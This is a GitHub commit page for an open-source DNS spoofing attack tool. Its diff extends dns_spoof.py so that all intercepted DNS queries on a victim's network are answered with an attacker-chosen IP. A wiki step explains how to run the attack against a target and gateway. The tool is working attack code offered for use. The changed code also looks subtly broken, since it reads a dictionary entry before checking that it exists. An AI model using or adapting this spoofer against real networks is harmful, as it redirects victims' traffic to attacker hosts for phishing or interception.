Skip to content

Commit

Permalink
v1.2.1
Browse files Browse the repository at this point in the history
  • Loading branch information
n0nexist authored Sep 21, 2023
1 parent 0852969 commit 9cbc322
Show file tree
Hide file tree
Showing 3 changed files with 24 additions and 6 deletions.
27 changes: 22 additions & 5 deletions modules/dns_spoof.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,8 @@
import json

dns_hosts = {}
allwebsitesflag = False
redirect_to = ""

def process_packet(packet):
""" processes captured packets """
Expand All @@ -24,12 +26,18 @@ def modify_packet(packet):
""" modifies dns packets """

global dns_hosts
global allwebsitesflag
global redirect_to

qname = packet[DNSQR].qname
if qname not in dns_hosts:
spoofto = dns_hosts[qname]
if qname not in dns_hosts and (not allwebsitesflag):
print(f"{utils.colors.BLUE}ignoring {qname} (not on target list){utils.colors.RESET}")
return packet
print(f"{utils.colors.GREEN}spoofing {qname} to {utils.colors.BLUE}{utils.colors.ITALIC}{dns_hosts[qname]}{utils.colors.RESET}")
packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
if allwebsitesflag:
spoofto = redirect_to
print(f"{utils.colors.GREEN}spoofing {qname} to {utils.colors.BLUE}{utils.colors.ITALIC}{spoofto}{utils.colors.RESET}")
packet[DNS].an = DNSRR(rrname=qname, rdata=spoofto)
packet[DNS].ancount = 1
del packet[IP].len
del packet[IP].chksum
Expand All @@ -50,10 +58,19 @@ def load_targetlist(filename):

def start_spoofing(recordsfile):
""" starts spoofing dns reponses """


global allwebsitesflag
global redirect_to

allwebsitesflag = recordsfile.startswith("all_")

try:
print(f"{utils.colors.GREEN}*{utils.colors.ITALIC} starting dns spoofing attack{utils.colors.RESET}")
load_targetlist(recordsfile)
if not allwebsitesflag:
load_targetlist(recordsfile)
else:
redirect_to = recordsfile.split("all_")[1]
print(f"{utils.colors.GREEN}*{utils.colors.ITALIC} redirecting all dns requests to {utils.colors.WARNING}{redirect_to}{utils.colors.RESET}")
queue = NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
Expand Down
2 changes: 1 addition & 1 deletion modules/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ def logo():

print(f"""{colors.BOLD}{colors.BLUE}
___ _ _
| _ _ (_(_. _ _ _ |_ _ {colors.RESET}v1.2{colors.BLUE}{colors.BOLD}
| _ _ (_(_. _ _ _ |_ _ {colors.RESET}v1.2.1{colors.BLUE}{colors.BOLD}
|| (_|| | |(_(_|| )|_(- {colors.RESET}by {colors.ITALIC}{colors.GREEN}{colors.UNDERLINE}n0nexist.github.io{colors.RESET}
""")

Expand Down
1 change: 1 addition & 0 deletions wiki/dns-spoofing.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
# [wiki]::DNS spoofing
<ol>
<li>Write this to a file:<br><code>{ "mydomain.it.": "192.168.1.113", "otherdomain.com.": "192.168.1.113" }</code></li>
<i>(or just insert 'all_192.168.x.x' as the file name to spoof all domains)</i>
<li>Discover your target's ip and gateway ip: you can use <a href="https://github.com/n0nexist/subdisc">subdisc</a> for this task.</li>
<li>Run: <code>sudo python3 main.py [target ip] [gateway ip] dns records.json</code></li>
<li>New dns requests to mydomain.it and otherdomain.com will make the target go to <code>192.168.1.113</code>,
Expand Down

0 comments on commit 9cbc322

Please sign in to comment.